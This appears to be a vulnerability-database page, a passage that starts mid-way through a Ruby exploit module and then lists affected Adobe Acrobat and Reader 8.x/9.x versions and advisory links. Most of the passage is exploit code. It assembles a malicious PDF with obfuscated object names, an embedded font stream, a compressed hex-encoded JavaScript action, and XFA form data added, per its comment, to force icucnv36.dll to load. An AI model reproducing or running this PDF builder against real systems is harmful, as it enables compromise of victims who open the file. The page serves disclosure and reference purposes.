/Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # media box xref << pdf.length pdf << ioDef(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length pdf << ioDef(4) pdf << nObfu("<<") << eol pdf << nObfu("/Font ") << ioRef(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(5) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length pdf << ioDef(6) << nObfu("<<") << eol pdf << nObfu("/F1 ") << ioRef(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length pdf << ioDef(7) << nObfu("<<") << eol pdf << nObfu("/Type /Font") << eol pdf << nObfu("/Subtype /TrueType") << eol pdf << nObfu("/Name /F1") << eol pdf << nObfu("/BaseFont /Cinema") << eol pdf << nObfu("/Widths []") << eol pdf << nObfu("/FontDescriptor ") << ioRef(9) pdf << nObfu("/Encoding /MacRomanEncoding") pdf << nObfu(">>") << eol pdf << endobj # page content content = "Hello World!" content = "" + "0 g" + eol + "BT" + eol + "/F1 32 Tf" + eol + "32 Tc" + eol + "1 0 0 1 32 773.872 Tm" + eol + "(" + content + ") Tj" + eol + "ET" xref << pdf.length pdf << ioDef(8) << "<<" << eol pdf << nObfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol pdf << "endstream" << eol pdf << endobj # font descriptor xref << pdf.length pdf << ioDef(9) << nObfu("<<") pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << nObfu("/FontBBox [-177 -269 1123 866]") pdf << nObfu("/FontFile2 ") << ioRef(10) pdf << nObfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # js action xref << pdf.length pdf << ioDef(11) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj ### # The following form related data is required to get icucnv36.dll to load ### # form object xref << pdf.length pdf << ioDef(13) pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol pdf << endobj # form stream xfa = <<-EOF <?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config> <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp> EOF xref << pdf.length pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj ### # end form stuff for icucnv36.dll ### # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end

Products Mentioned

Configuraton 0

Adobe>>Acrobat >> Version From (including) 8.0 To (excluding) 8.2.5

Adobe>>Acrobat >> Version From (including) 9.0 To (excluding) 9.4

Apple>>Macos >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Acrobat_reader >> Version From (including) 8.0 To (excluding) 8.2.5

Adobe>>Acrobat_reader >> Version From (including) 9.0 To (excluding) 9.4

Apple>>Macos >> Version -

Microsoft>>Windows >> Version -

References

http://www.vupen.com/english/advisories/2011/0191
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/43025
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2011/0344
Tags : vdb-entry, x_refsource_VUPEN
http://security.gentoo.org/glsa/glsa-201101-08.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.vupen.com/english/advisories/2010/2331
Tags : vdb-entry, x_refsource_VUPEN
http://www.kb.cert.org/vuls/id/491991
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.redhat.com/support/errata/RHSA-2010-0743.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.us-cert.gov/cas/techalerts/TA10-279A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/41340
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/43057
Tags : vdb-entry, x_refsource_BID
http://www.turbolinux.co.jp/security/2011/TLSA-2011-2j.txt
Tags : vendor-advisory, x_refsource_TURBO